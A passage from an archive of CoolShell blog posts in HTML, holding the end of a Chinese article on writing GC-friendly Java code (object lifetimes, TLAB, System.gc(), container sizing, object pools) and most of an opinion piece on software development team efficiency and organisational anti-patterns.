30px;\"><strong>绝大部分对象的生命周期都非常短暂，存活时间短。</strong></p>\n<p>而这些短命的对象，恰恰是GC算法需要首先关注的。所以在大部分的GC中，YoungGC（也称作MinorGC）占了绝大部分，对于负载不高的应用，可能跑了数个月都不会发生FullGC。</p>\n<p>基于这个前提，在编码过程中，我们应该<strong>尽可能地缩短对象的生命周期</strong>。在过去，分配对象是一个比较重的操作，所以有些程序员会尽可能地减少new对象的次数，尝试减小堆的分配开销，减少内存碎片。</p>\n<p>但是，短命对象的创建在JVM中比我们想象的性能更好，所以，不要吝啬new关键字，大胆地去new吧。</p>\n<p>当然前提是不做无谓的创建，对象创建的速率越高，那么GC也会越快被触发。</p>\n<p>结论：</p>\n<ul>\n<li>分配小对象的开销分享小，不要吝啬去创建。</li>\n<li>GC最喜欢这种小而短命的对象。</li>\n<li>让对象的生命周期尽可能短，例如在方法体内创建，使其能尽快地在YoungGC中被回收，不会晋升(romote)到年老代(Old Generation)。</li>\n</ul>\n<h4>二、对象分配的优化</h4>\n<p>基于大部分对象都是小而短命，并且不存在多线程的数据竞争。这些小对象的分配，会优先在线程私有的<strong> TLAB</strong> 中分配，TLAB中创建的对象，不存在锁甚至是CAS的开销。</p>\n<p>TLAB占用的空间在Eden Generation。</p>\n<p>当对象比较大，TLAB的空间不足以放下，而JVM又认为当前线程占用的TLAB剩余空间还足够时，就会直接在Eden Generation上分配，此时是存在并发竞争的，所以会有CAS的开销，但也还好。</p>\n<p>当对象大到Eden Generation放不下时，JVM只能尝试去Old Generation分配，这种情况需要尽可能避免，因为一旦在Old Generation分配，这个对象就只能被Old Generation的GC或是FullGC回收了。</p>\n<h4>三、不可变对象的好处</h4>\n<p>GC算法在扫描存活对象时通常需要从ROOT节点开始，扫描所有存活对象的引用，构建出对象图。</p>\n<p>不可变对象对GC的优化，主要体现在Old Generation中。</p>\n<p>可以想象一下，如果存在Old Generation的对象引用了Young Generation的对象，那么在每次YoungGC的过程中，就必须考虑到这种情况。</p>\n<p>Hotspot JVM为了提高YoungGC的性能，避免每次YoungGC都扫描Old Generation中的对象引用，采用了 <strong>卡表(Card Table) </strong>的方式。</p>\n<p>简单来说，当Old Generation中的对象发生对Young Generation中的对象产生新的引用关系或释放引用时，都会在卡表中响应的标记上标记为脏(dirty)，而YoungGC时，只需要扫描这些dirty的项就可以了。</p>\n<p>可变对象对其它对象的引用关系可能会频繁变化，并且有可能在运行过程中持有越来越多的引用，特别是容器。这些都会导致对应的卡表项被频繁标记为dirty。</p>\n<p>而不可变对象的引用关系非常稳定，在扫描卡表时就不会扫到它们对应的项了。</p>\n<p>注意，这里的不可变对象，不是指仅仅自身引用不可变的final对象，而是真正的<strong><span style=\"color: #ff0000;\">Immutable Objects</span></strong>。</p>\n<h4>四、引用置为null的传说</h4>\n<p>早期的很多Java资料中都会提到在方法体中将一个变量置为null能够优化GC的性能，类似下面的代码：</p>\n<pre class=\"EnlighterJSRAW\">List&lt;String&gt; list = new ArrayList&lt;String&gt;();\n// some code\nlist = null; // help GC\n</pre>\n<p>事实上这种做法对GC的帮助微乎其微，有时候反而会导致代码混乱。</p>\n<p>我记得几年前 @rednaxelafx 在HLL VM小组中详细论述过这个问题，原帖我没找到，结论基本就是：</p>\n<ul>\n<li>在一个非常大的方法体内，对一个较大的对象，将其引用置为null，某种程度上可以帮助GC。</li>\n<li>大部分情况下，这种行为都没有任何好处。</li>\n</ul>\n<p>所以，还是早点放弃这种“优化”方式吧。</p>\n<p>GC比我们想象的更聪明。</p>\n<h4>五、手动档的GC</h4>\n<p>在很多Java资料上都有下面两个奇技淫巧：</p>\n<ul>\n<li>通过<strong>Thread.yield()</strong>让出CPU资源给其它线程。</li>\n<li>通过<strong>System.gc()</strong>触发GC。</li>\n</ul>\n<p>事实上JVM从不保证这两件事，而System.gc()在JVM启动参数中如果允许显式GC，则会<strong>触发FullGC</strong>，对于响应敏感的应用来说，几乎等同于自杀。</p>\n<p>So，让我们牢记两点：</p>\n<ul>\n<li>Never use Thread.yield()。</li>\n<li>Never use System.gc()。除非你真的需要回收Native Memory。</li>\n</ul>\n<p>第二点有个Native Memory的例外，如果你在以下场景：</p>\n<ul>\n<li>使用了NIO或者NIO框架（Mina/Netty）</li>\n<li>使用了DirectByteBuffer分配字节缓冲区</li>\n<li>使用了MappedByteBuffer做内存映射</li>\n</ul>\n<p>由于<strong>Native Memory只能通过FullGC（或是CMS GC）回收</strong>，所以除非你非常清楚这时真的有必要，否则不要轻易调用System.gc()，且行且珍惜。</p>\n<p>另外为了防止某些框架中的System.gc调用（例如NIO框架、Java RMI），建议在启动参数中加上-XX:+DisableExplicitGC来禁用显式GC。</p>\n<p>这个参数有个巨大的坑，如果你禁用了System.gc()，那么上面的3种场景下的内存就无法回收，可能造成OOM，如果你使用了CMS GC，那么可以用这个参数替代：-XX:+ExplicitGCInvokesConcurrent。</p>\n<p>关于System.gc()，可以参考 @bluedavy 的几篇文章：</p>\n<ul>\n<li><a href=\"http://hellojava.info/?p=56\" target=\"_blank\">CMS GC会不会回收Direct ByteBuffer的内存</a></li>\n<li><a href=\"http://hellojava.info/?p=323\" target=\"_blank\">说说在Java启动参数上我犯的错</a></li>\n<li><a href=\"http://hellojava.info/?p=319\" target=\"_blank\">java.lang.OutOfMemoryError:Map failed</a></li>\n</ul>\n<p> </p>\n<h4>六、指定容器初始化大小</h4>\n<p>Java容器的一个特点就是可以动态扩展，所以通常我们都不会去考虑初始大小的设置，不够了反正会自动扩容呗。</p>\n<p>但是扩容不意味着没有代价，甚至是很高的代价。</p>\n<p>例如一些基于数组的数据结构，例如StringBuilder、StringBuffer、ArrayList、HashMap等等，在扩容的时候都需要做ArrayCopy，对于不断增长的结构来说，经过若干次扩容，会存在大量无用的老数组，而回收这些数组的压力，全都会加在GC身上。</p>\n<p>这些容器的构造函数中通常都有一个可以指定大小的参数，如果对于某些大小可以预估的容器，建议加上这个参数。</p>\n<p>可是因为容器的扩容并不是等到容器满了才扩容，而是有一定的比例，例如HashMap的扩容阈值和负载因子(loadFactor)相关。</p>\n<p>Google Guava框架对于容器的初始容量提供了非常便捷的工具方法，例如：</p>\n<p>[code lang=”java”]Lists.newArrayListWithCapacity(initialArraySize);</p>\n<p>Lists.newArrayListWithExpectedSize(estimatedSize);</p>\n<p>Sets.newHashSetWithExpectedSize(expectedSize);</p>\n<p>Maps.newHashMapWithExpectedSize(expectedSize);<br/>\n[/code]</p>\n<p>这样我们只要传入预估的大小即可，容量的计算就交给Guava来做吧。</p>\n<p><strong>反例</strong>：如果采用默认无参构造函数，创建一个ArrayList，不断增加元素直到OOM，那么在此过程中会导致：</p>\n<ul>\n<li>多次数组扩容，重新分配更大空间的数组</li>\n<li>多次数组拷贝</li>\n<li>内存碎片</li>\n</ul>\n<h4>七、对象池</h4>\n<p>为了减少对象分配开销，提高性能，可能有人会采取对象池的方式来缓存对象集合，作为复用的手段。</p>\n<p>但是对象池中的对象由于在运行期长期存活，大部分会晋升到Old Generation，因此无法通过YoungGC回收。</p>\n<p>并且通常……没有什么效果。</p>\n<p>对于对象本身：</p>\n<ul>\n<li>如果对象很小，那么分配的开销本来就小，对象池只会增加代码复杂度。</li>\n<li>如果对象比较大，那么晋升到Old Generation后，对GC的压力就更大了。</li>\n</ul>\n<p>从线程安全的角度考虑，通常池都是会被并发访问的，那么你就需要处理好同步的问题，这又是一个大坑，并且<strong>同步带来的开销，未必比你重新创建一个对象小</strong>。</p>\n<p>对于对象池，唯一合适的场景就是<strong>当池中的每个对象的创建开销很大</strong>时，缓存复用才有意义，例如每次new都会创建一个连接，或是依赖一次RPC。</p>\n<p>比如说：</p>\n<ul>\n<li>线程池</li>\n<li>数据库连接池</li>\n<li>TCP连接池</li>\n</ul>\n<p>即使你真的需要实现一个对象池，也请使用成熟的开源框架，例如Apache Commons Pool。</p>\n<p>另外，使用JDK的ThreadPoolExecutor作为线程池，不要重复造轮子，除非当你看过AQS的源码后认为你可以写得比Doug Lea更好。</p>\n<h4>八、对象作用域</h4>\n<p>尽可能缩小对象的作用域，即生命周期。</p>\n<ul>\n<li>如果可以在方法内声明的局部变量，就不要声明为实例变量。</li>\n<li>除非你的对象是单例的或不变的，否则尽可能少地声明static变量。</li>\n</ul>\n<h4>九、各类引用</h4>\n<p>java.lang.ref.Reference有几个子类，用于处理和GC相关的引用。JVM的引用类型简单来说有几种：</p>\n<ul>\n<li>Strong Reference，最常见的引用</li>\n<li>Weak Reference，当没有指向它的强引用时会被GC回收</li>\n<li>Soft Reference，只当临近OOM时才会被GC回收</li>\n<li>Phantom Reference，主要用于识别对象被GC的时机，通常用于做一些清理工作</li>\n</ul>\n<p>当你需要实现一个缓存时，可以考虑优先使用WeakHashMap，而不是HashMap，当然，更好的选择是使用框架，例如Guava Cache。</p>\n<p>最后，再次提醒，以上的这些未必可以对代码有多少性能上的提升，但是熟悉这些方法，是为了帮助我们写出更卓越的代码，和GC更好地合作。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2631.html\"><img alt=\"五大基于JVM的脚本语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2631.html\">五大基于JVM的脚本语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1252.html\"><img alt=\"G1新型垃圾回收器一瞥\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1252.html\">G1新型垃圾回收器一瞥</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-6-9 开发团队的效率.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-full wp-image-11700\" height=\"231\" src=\"../wp-content/uploads/2014/06/software_development.png\" width=\"230\"/>我之前写过一篇叫《<a href=\"https://coolshell.cn/articles/10217.html\" target=\"_blank\" title=\"加班与效率\">加班与效率</a>》的文章，从概念上说了一些我对“效率”的认识，但是那篇文章趋于概念化，对于一些没有经历过这样的环境的同学来说，可能会觉得太抽象了。很早以前就想写一篇更具体一点的，可执行的文章与《<a href=\"https://coolshell.cn/articles/10217.html\" target=\"_blank\" title=\"加班与效率\">加班与效率</a>》这篇文章相辉映，并再把我两年前在杭州QCon上的那个<a href=\"http://vdisk.weibo.com/s/gN-sQ/1351485199\" target=\"_blank\">“<strong>鼓吹工程师文化”的《建一支强大的小团队》</strong></a>（新浪微盘）的观点再加强一下。</p>\n<p><strong>但是我遇到了一些思维方式上的麻烦——我讲的总是从我的经历背景出发，没有从其它人的经历背景来讲</strong>。这就好像，我在酷壳里说了很多东西（比如：<a href=\"https://coolshell.cn/articles/6994.html\" target=\"_blank\" title=\"我们需要专职的QA吗？\">专职的QA</a>，<a href=\"https://coolshell.cn/articles/11432.html\" target=\"_blank\" title=\"从Code Review 谈如何做技术\">Code Review很重要</a>，<a href=\"https://coolshell.cn/articles/10688.html\" target=\"_blank\" title=\"编程能力与编程年龄\">编程年龄</a>，<a href=\"https://coolshell.cn/articles/5815.html\" target=\"_blank\" title=\"来信， 创业 和 移动互联网\">创业的</a>，<a href=\"https://coolshell.cn/articles/9156.html\" target=\"_blank\" title=\"《Rework》摘录及感想\">Rework</a>的……），有好些人觉得是不可能甚至太理想，其实我说的那些东西都是实实在在存在的，也是我所经历过的。于是，不同的经历，不同的环境，不同的眼界，造成了——有些人不理解我说的，而我也不能理解他们所说的。</p>\n<p>所以，过去的这段时间我一有机会就找一些人交流并观察一些身边的事情，并去试着跟从和理解那些我不能理解的东西。现在觉得差不多了，所以，写下了这篇文章。（但越是去理解对方，我就越坚持我的观点，所以这篇文章可能还是会出现鸡同鸭讲的情形，无所谓了）</p>\n<p>本文不讨论任何业务上的效率问题，只讨论软件开发或是软件工程中的效率问题。虽然产品和业务上的效率问题是根本，但是因为本文不是拉仇恨的，我也不想混在一起谈，所以请原谅我在这里先说开发团队的，以后重新开篇文章专门谈产品和业务的。</p>\n<p>我下面会罗列几个非常典型的开发方式——<strong>软件开发中的“锁”</strong>，<strong>接力棒式软件开发</strong>，<strong>保姆式软件开发</strong>，<strong>WatchDog软件开发</strong>，<strong>故障驱动式软件开发</strong>。</p>\n<p><span id=\"more-11656\"></span></p>\n<h4>软件开发中的“锁”</h4>\n<p>如果你搞过并发编程，你一定知道什么是“锁”，锁就是用来同步和互斥。我发现有好些开发部门里的各个开发团队间存在很多锁。比如：</p>\n<ul>\n<li><strong>技术能力上的锁</strong>。有一个项目需要在不同的地方做开发，这些模块用到不同的技术，比如：Java, C/C++, Python，Javascript，但是，这个团队里的每一个开发人员就只懂一门语言，于是，需要配合，需要任务排期，同步互斥锁就很多，于是，一个本来只需要2个人干3周的的工作变成了8个人干两个月。</li>\n</ul>\n<ul>\n<li><strong>负责模块上的锁</strong>。同理，不同的人负责不同的模块，于是一个项目要动好多模块，那么你就需要把这些模块的人找过来，和上面一样。每个人都有自己的时间安排，人越多，锁越多。于是，一个来来只需要2个人干2两周的事，变成了7、8个人干一个多月。</li>\n</ul>\n<p>我上面并非瞎扯，这都是事实。我们可以看到，</p>\n<ul>\n<li><strong>时间锁、进度锁</strong>。这堆有不同技能或是负责不同模块的开发人员有锁，有锁你就要等，他们有自己的安排，所以，要协作起来，你就需要排期，去同步。而参与的人越多，你的锁就越多。你协调他们的时间就更复杂。</li>\n</ul>\n<ul>\n<li><strong>沟通锁、利益锁</strong>。而且，最恐怖的事情是，他们之间的沟通成本巨大。他们会花大量的时间在讨论，一个功能是实现在你那边，还是我这边，每个人都有自己的利益和算盘。无形中增加了很多推诿、官僚和政治上的东西。</li>\n</ul>\n<p>有时候，我们会觉得分工和分模块是产生效率的前提，但是实际情况并不是这样。我们也可以看到，<strong>所谓的“分工”被彻彻底底的滥用了</strong>。他们把“分工”当成了永远只干一件事的借口。</p>\n<h5>【解决方案】</h5>\n<p><strong>一个程序员应该能够掌握多个语言，也能够负责多个模块甚至不同的职责。如果一个程序员觉得多学习一门语言，多掌握一个模块是件很困难的事，那么这个程序员本质上是不合格的</strong>。</p>\n<h4>“接力棒式”软件开发</h4>\n<p><strong>在有各种“工作锁”的软件开发团队里，一般都无法避免“接力棒式”的开发</strong>。也就是说，底层的C程序员干完了，交给上层的Java程序员，然后再交给更上层的前端程序员，最后再交给运维人员。这就是接力棒式的开发。</p>\n<p>而且，更糟糕的是，如果在引入了软件流程下，这种“接力棒的方式”真是会把你搞崩溃的。比如下游团队开发一个月，交给QA测试一个月，再交给运维分步上线一个月，然后，上游团队拿到下游开发的API后开发一个月，再交给自己的QA测试一个月，然后再交给自己的运维上线一个月，于是，半年就这样过去了。<strong>这是一个由一个一个小瀑布叠出来的一个大瀑布</strong>。</p>\n<p>哦，你会说，这个好办啊，上下游不会先商定好接口么？然后做并行开发么？是的，这是其中的一个优化方式，但是需要很好的接口设计。但是，在实际过程中，你会发现（这时我并非信口开河，我说的都是事实），</p>\n<ul>\n<li>如果这两个上下游团队在一起还好办，要是不在一起，那么，实际情况是，后面的团队会等到前面的团队提测了，才开始开发，本质上就是串行开发的。</li>\n</ul>\n<ul>\n<li>如果有更多的团队呢？比如：A团队 -&gt; B团队 -&gt; C团队 -&gt;D团队呢。接口就变得非常地关键了。而在实际情况下，因为没有好的接口设计人员，所以，在开发过程经常性地修改接口，或者是因为接口不好用也只得忍着。</li>\n</ul>\n<h5>【解决方案】</h5>\n<p>我以前写过一篇叫《<a href=\"https://coolshell.cn/articles/9949.html\" rel=\"bookmark\" target=\"_blank\" title=\"IoC/DIP其实是一种管理思想\">IoC/DIP其实是一种管理思想</a>》，对于这种接力棒的方式，应该反过来，<strong>如果业务应用团队是A团队，那B/C/D团队应该把自己的做成一个开发框架也好，服务化也好，让应用团队自己来接入</strong>。比如：前端做好一个前端开发框架，PE做好一个运维开发框架、各种工具，共享模块团队做好开发框架，让应用团队自己来接入，而不是帮他做。<strong>你会发现，在这么多团队各自P2P勾兑出来的很随意的接口的所带来的成本已经远超过一个统一标准的协议</strong>。</p>\n<h4>“保姆式”软件开发</h4>\n<p>所谓“保姆式”软件开发就是——我只管吃饭，不管做菜洗碗，就像——衣来伸手，饭来张口的“小皇帝”一样，身边有一堆太监或宫女，不然生活不能自理。这种情况经常见于开发和测试，开发和运维间的关系。很多公司，测试和运维都成了开发的保姆。</p>\n<p>我就能看到，很多开发快速写完代码后基本上都不怎么测试就交给QA去测试了，QA一测，我草，各种问题，而只会做黑盒的QA并不能马上就能确定是代码的问题还是环境的问题，所以还要花大量时间排除不是环境问题，才给开发报BUG。很多问题，可能只需要做个Code Review，做个单测就可以发现了，硬要交给QA。运维也是一样的，开发出来的软件根本就没有考虑什么运维的东西，因为有运维人员，所以我才不考虑呢。</p>\n<p><strong>这和我们带孩子的道理是一样的，对于孩子来说，如果父母帮孩子做得越多，孩子就越觉得理所应当，就越不会去做</strong>。</p>\n<p><strong>“保姆式”开发一般会进化成“保安式”开发</strong>。</p>\n<ul>\n<li>因为你的团队开发人员的能力不行，设计不行，Code Reivew/UT不做，你就只能找堆QA看着他。</li>\n<li>因为Dev/QA只管功能不管运维，所以，还得找堆运维人员看着他们。</li>\n<li>因为你的技术人员不懂业务，不懂需求，需要再找个BA，找个产品经理来指挥他。</li>\n<li>因为你的技术人员不会管理项目，所以，再搞个项目经理，找个敏捷教练、以及SQA来管着他。</li>\n</ul>\n<p><strong>就这样，你不行，我找人来看着你，看你的人不行，我再找人来看着看你的人……层层保姆，层层保安。</strong>于是，你就会发现，团队或部门里的人员越来越多，你整天都在开会，整天都在互相解释，互相争吵，会扯淡的人越来越多。那还有个屁的效率。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-11702\" height=\"499\" src=\"../wp-content/uploads/2014/06/worker.jpg\" width=\"523\"/>网络上一个非常经典的图片，来源不详，程序员在挖坑，其它人站在当监工</p>\n<h5>【解决方案】</h5>\n<p style=\"padding-left: 30px;\">1）<strong>不要招只会写代码的“码农”，要招懂“需求”，注重“软件工程”和“软件质量”和“软件维护”的“工程师”</strong>。</p>\n<p style=\"padding-left: 30px;\">2）<strong>最好的管理，不是找人来管人，而是自己管自己</strong>。</p>\n<p style=\"padding-left: 30px;\">3）<strong>组织和团队中支持性工作的人越少越好，最好不要</strong>。</p>\n<p style=\"padding-left: 30px;\">4）<strong>服务化。我服务于你并不代表我要帮你干活，而是代表——我要让你干活干得更爽</strong>。</p>\n<p>我在<a href=\"http://weibo.com/1401880315/B6hC7elDb\" target=\"_blank\">微博</a>上说过下面的话，（大家可以体会一下保姆和服务的差别）</p>\n<p style=\"padding-left: 30px;\">运维要用“云服务”的思路去做。如果一个公司内的运维团队开发出一堆工具，让做应用开发团队可以很容易地申请机器、存储、网络、中间件、安全等资源，并很容易管理、监控和部署应用，并提供运维资询。而不是帮应用开发团队干活擦屁股当保姆。那么，这个公司就会不经意地做出一个云计算平台来了。</p>\n<p> </p>\n<h4>“WatchDog式”软件开发</h4>\n<p>什么是WatchDog？就是说——<strong>为了解决某个系统的问题，我要用一个新的系统去看着它</strong>。</p>\n<ul>\n<li>我的系统架构太复杂，出了问题不好查找。咋办？那就搞个专门的特殊的监控系统吧……</li>\n</ul>\n<ul>\n<li>我的系统配置太复杂，容易配错了。咋办？那就加一个配置校验系统吧……</li>\n</ul>\n<ul>\n<li>我的系统配置和真实的情况有时候可能会不一性。咋办？那就加一个巡检系统吧……</li>\n</ul>\n<ul>\n<li>我的系统测试环境和线上环境有时候会搞混了。咋办？那就为线上环境加一个权限控制系统吧……</li>\n</ul>\n<ul>\n<li>我的系统有单点，那就加个负载均衡器吧，负载均衡器的单点呢？那就再加个等价路由器吧……</li>\n</ul>\n<p><strong>做加法谁不会？就不想去简化一样系统吗？就不能不拆东墙补西墙么？</strong>这些了系统加的越来越多，我看你以后怎么运维。</p>\n<p>一开始没有想清楚就放到线上，然后，出了故障后，也无法重新设计和重新架构，只能以打补丁地方式往上打，这就好像一个本来就有缺陷的楼没有盖好，你要拆了重盖是不可能的，也只能不停地打补丁了。字是一只狗，越描越丑。</p>\n<h5>【解决方案】</h5>\n<p style=\"padding-left: 30px;\"><strong>1）设计想好了再做，多评估几个设计没坏处，简化，简化，简化。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>2）残酷无情地还债，就算是CEO来了，也无法阻止我还债的脚步。</strong></p>\n<p> </p>\n<h4>“故障驱动式”软件开发</h4>\n<p>WatchDog式的软件开发通常来说都是“故障驱动式”软件开发的产物。这种开发方式其实就是在表明自己智力和能力的不足。以上线为目的，上了线再说，有什么问题出了再改。</p>\n<p>上面的老大或是业务方基本上会说，没关系，我们不一开始并不需要一个完美的系统，你先上了再说，先解业务的渴，我们后面有时间再重构再完善。而有的技术人员也会用“架构和设计是逐步演化出来的”这句话来证明“故障驱动”开发是值得的。</p>\n<p>我同意逐步迭代以及架构演化论，但是，我觉得<strong>“系统迭代说”和“架构演化论”被彻彻底底地成为那些能力有限甚至不学无术的人的超级借口</strong>。</p>\n<p>你们有没有搞错啊？你们知道什么叫迭代，什么叫演化吗？你们知道，要定位一个线上的故障需要花多大的力气吗？（<a href=\"http://blog.aliyun.com/341\" target=\"_blank\">看看这篇文章</a>你就知道了）你们知道，随随便便去应付局部上你会快，但总体上来说你会慢。</p>\n<p>虽然，我看到那些系统在一个又一个的故障后得到一点又一点的改善，但是我想说，为什么一开始不认真不严谨一点呢？我从来就没有见过一个精良的系统是靠一个一个的故障和失败案例给堆出来的，就算是Windows 95/98这样史上最烂的操作系统，如果没有设计精良Windows NT的补位，Windows也早玩完了（看看IE的下场就知道了）。</p>\n<h5>【解决方案】</h5>\n<p style=\"padding-left: 30px;\"><strong>1）基础知识和理论知识非常重要</strong>。多多使用已有的成熟的方案是关键。</p>\n<p style=\"padding-left: 30px;\"><strong>2）对技术要有一颗严谨和敬畏的心。想清楚了再干，坚持高标准，Design for failure! </strong>很多事情都急不得。</p>\n<p> </p>\n<h4>其它开发方式</h4>\n<p>其实，这样的事情还有很多。比如：</p>\n<p><strong>1）配置管理上的问题</strong>。对于源代码的配置管理，其实并不是一件简单的事情。配置管理和软件和团队的组构的结构非常有关系。我看到过两种非常没有效率的配置管理，一种是以开项目分支的方式来做项目，同时开很多分支，分支开的时间还很长，导致merge回主干要花大量的时间去解决各种冲突，另一种是N多的团队都在一个代码库中做修改，导致出现很多复杂的问题，比如某团队的改动出现了一个bug，要么所有的团队的功能都得等这个bug被修复才能被发布，要么就是把所有的改动回滚到上一个版本，包括其它团队开发的功能。很明显，软件模块的结构，软件的架构，以及团队的组织形式都会严重影响开发效率。</p>\n<p><strong>2）人肉式的软件开发</strong>。大多数的软件团队和主管都会用“人手不够”做为自己开发效率不够的借口，而大多数故障发生的时候，都会使用更重的“人肉流程”来弥补自己能力的不足。他们从来没有想过使用“技术”，使用更“聪明”的方式来解决问题。</p>\n<p><strong>3）会议驱动式开发</strong>。人多了，团队多了，想法也就多了，沟通也就多了，于是需要不停得开会开会开会。</p>\n<p> </p>\n<h4>总结一下</h4>\n<p>综上所述，我有如下总结：</p>\n<p style=\"padding-left: 30px;\">1）<strong>软件工程师分工分得越细这个团队就越没效率，团队间的服务化是关键的关键</strong>。不管是从语言上还是从软件模块上的人员分工，越细越糟糕。服务化不是我要帮你做事，而是我让你做起事来更容易。</p>\n<p style=\"padding-left: 30px;\">2）<strong>你总需要在一个环节上认真，这个环节越往前就越有效率，越往后你就越没效率</strong>。要么你设计和编码认真点，不然，你就得在测试上认真点。要是你设计、编码、测试都不认真，那你就得在运维上认真，就得在处理故障上认真。你总需要在一个地方认真。另外一篇文章你可以看一下——《<a href=\"https://coolshell.cn/articles/5686.html\" target=\"_blank\" title=\"多些时间能少写些代码\">多些时间少写些代码</a>》</p>\n<p style=\"padding-left: 30px;\">3）<strong>“小而精的团队”+“条件和资源受限”是效率的根本</strong>。只有团队小，内耗才会小，只有条件或资源受限，才会逼着你去用最经济的手段做最有价值的事，才会逼着你喜欢简单和简化。</p>\n<p style=\"padding-left: 30px;\">4）<strong>技术债是不能欠的，要残酷无情地还债</strong>。很多事情，一开始不会有，那么就永远不会有。一旦一个事情烂了，后面只能跟着一起烂，烂得越多，就越没有人敢去还债。</p>\n<p style=\"padding-left: 30px;\">5）<strong>软件架构上要松耦合，团队组织上要紧耦合</strong>。</p>\n<p style=\"padding-left: 30px;\">6）<strong>工程师文化是关键，重视过程就是重视结果</strong>。只重视结果的KPI等同于“竭泽而渔”和“饮鸩止渴”。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19612.html\"><img alt=\"50年前的登月程序和程序员有多硬核\" height=\"150\" src=\"../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19612.html\">50年前的登月程序和程序员有多硬核</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11170.html\"><img alt=\"如何用最有创造力的方式输出42\" height=\"150\" src=\"../wp-content/uploads/2014/03/42-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11170.html\">如何用最有创造力的方式输出42</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10217.html\"><img alt=\"加班与效率\" height=\"150\" src=\"../wp-content/uploads/2013/07/Work-Overtime-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10217.html\">加班与效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8387.html\"><img alt=\"Bret Victor – Learnable Programming\" height=\"150\" src=\"../wp-content/uploads/2012/10/Learnable_Programming-150x150.jpg\" width=\"150\"/></a><a 